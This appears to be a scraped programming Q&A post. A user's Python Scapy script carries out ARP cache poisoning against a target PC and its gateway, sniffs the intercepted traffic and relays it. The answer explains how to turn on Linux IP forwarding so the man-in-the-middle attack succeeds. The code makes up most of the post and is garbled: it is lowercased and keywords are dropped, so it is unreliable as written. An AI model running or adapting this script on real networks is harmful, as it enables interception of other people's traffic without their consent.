ARP Spoofing using python scapy not working -


i had done arp spoofing using scapy python code. mac address in target's pc gateway has been changed pc's mac address , mac adres of target pc in router's cache has been chnged mac addres. want forward these packets respective location though pc. can see traffic between target pc , gateway.but it's not working.

    import os import sys import threading import signal import logging logging.getlogger("scapy.runtime").setlevel(logging.error) scapy.all import *   our_mac='d8:5d:e2:0c:58:87'   print 'enter target ip:' target_ip = raw_input()  print 'enter gateway ip' gateway_ip = raw_input()  packet_count = 50  # turn off output conf.verb = 0   def get_mac(ip_address):     responses,unanswered =srp(ether(dst="ff:ff:ff:ff:ff:ff")/arp(pdst=ip_address),timeout=2,retry=10)     # return mac address response     s,r in responses:         return r[ether].src     return none   gateway_mac = get_mac(gateway_ip)  if gateway_mac none:     print "[!!!] failed gateway mac. exiting."     sys.exit(0)  else:     print "[*] gateway %s @ %s" % (gateway_ip,gateway_mac)  target_mac = get_mac(target_ip) if target_mac none:     print "[!!!] failed target mac. exiting."     sys.exit(0) else:     print "[*] target %s @ %s" % (target_ip,target_mac)     def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):     # different method using send     print"[*] restoring target..."     send(arp(op=2, psrc=gateway_ip, pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=100)     send(arp(op=2, psrc=target_ip, pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=100)     # signals main thread exit     print"[*] target restored..."     sys.exit(0)     os.kill(os.getpid(), signal.sigint)    def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):     poison_target = arp()     poison_target.op = 2     poison_target.psrc = gateway_ip     poison_target.pdst = target_ip     poison_target.hwdst= target_mac     poison_gateway = arp()     poison_gateway.op = 2     poison_gateway.psrc = target_ip     poison_gateway.pdst = gateway_ip     poison_gateway.hwdst= gateway_mac     print "[*] beginning arp poison. [ctrl-c stop]"     while true:         try:             send(poison_target)             send(poison_gateway)             time.sleep(2)         except keyboardinterrupt:             restore_target(gateway_ip,gateway_mac,target_ip,target_mac)             sys.exit(0)     print "[*] arp poison attack finished."     sys.exit(0)     return  def send_packet_to_gateway(pkt):     try:         if(pkt.haslayer(ip) , pkt.haslayer(ether) , not pkt.haslayer(arp)):             pkt[ether].dst=gateway_mac             sendp(pkt)         elif(pkt.haslayer(ether) , not pkt.haslayer(arp)):             pkt[ether].dst=gateway_mac             sendp(pkt)     except:         print "it's interrupt"         sys.exit(0)   def send_packet_to_target(pkt):     try:         if(pkt.haslayer(ip) , pkt.haslayer(ether) , not pkt.haslayer(arp)):             pkt[ether].dst=target_mac             sendp(pkt)         elif(pkt.haslayer(ether) , not pkt.haslayer(arp)):             pkt[ether].dst=target_mac             sendp(pkt)     except:         print "it's interrupt"         sys.exit(0)   def capture_packets():     try:         print "[*] starting sniffer %d packets" % packet_count          bpf_filter = "dst host %s , ether dst %s" % (target_ip, our_mac)         sniff(filter=bpf_filter,prn=send_packet_to_target)      except keyboardinterrupt:         # restore network         #restore_target(gateway_ip,gateway_mac,target_ip,target_mac)         print "it's interrupt"         sys.exit(0)         return     # start poison thread poison_thread = threading.thread(target = poison_target, args =(gateway_ip, gateway_mac,target_ip,target_mac)) poison_thread.start()  try:     print "[*] starting sniffer %d packets" % packet_count     capture_thread = threading.thread(target = capture_packets)     capture_thread.start()      bpf_filter = "src host %s , ether dst %s" % (target_ip,our_mac)     sniff(filter=bpf_filter,prn=send_packet_to_gateway)   except keyboardinterrupt:     sys.exit(0)     # restore network     #restore_target(gateway_ip,gateway_mac,target_ip,target_mac)     #sys.exit(0) 

you don't need forward packets scapy. can enable ip forwarding , system automatically forward packets. in linux can ran following command:

sudo echo 1 > /proc/sys/net/ipv4/ip_forward 

using command need run poison scapy, not redirections.


Comments

Popular posts from this blog

ubuntu - PHP script to find files of certain extensions in a directory, returns populated array when run in browser, but empty array when run from terminal -

php - How can i create a user dashboard -

javascript - How to detect toggling of the fullscreen-toolbar in jQuery Mobile? -